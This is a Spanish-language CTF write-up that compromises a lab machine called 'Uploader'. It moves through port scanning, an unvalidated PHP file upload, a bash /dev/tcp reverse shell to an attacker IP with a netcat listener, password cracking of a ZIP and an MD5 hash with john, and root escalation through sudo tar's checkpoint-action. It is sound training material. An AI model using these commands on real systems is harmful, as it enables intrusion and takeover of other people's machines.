Write-ups

Resolución del CTF Uploader


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

El escaneo identifica únicamente el puerto 80/TCP expuesto, correspondiente a un servicio HTTP.

Explotación

Accedemos al servicio web y localizamos un formulario de subida de archivos accesible en upload.php. El backend no implementa validación de tipo ni extensión, permitiendo la carga de archivos PHP ejecutables.

Cargamos una reverse shell en PHP y la ejecutamos directamente desde el directorio público de subidas.

nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/192.168.0.95/4444 0>&1'

Obtenemos acceso como el usuario del servicio web.

Post-explotación

Enumeramos el sistema y encontramos un archivo de texto en /home que indica la existencia de un archivo ZIP oculto.

find / -type f -name "*.zip" 2>/dev/null

Localizamos el archivo en /srv/secret/File.zip y lo transferimos a nuestra máquina para su análisis.

zip2john File.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Descomprimimos el archivo y obtenemos credenciales para el usuario operatorx, donde la contraseña se encuentra en formato MD5.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash_md5

Con la contraseña en texto plano, cambiamos al usuario operatorx.

su operatorx

Escalada de privilegios

Revisamos los privilegios sudo del usuario y detectamos que puede ejecutar el binario tar como root sin contraseña.

sudo -l

Abusamos del binario tar utilizando una técnica documentada para ejecutar una shell con privilegios elevados.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Obtenemos acceso como usuario root y comprometemos completamente el sistema.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *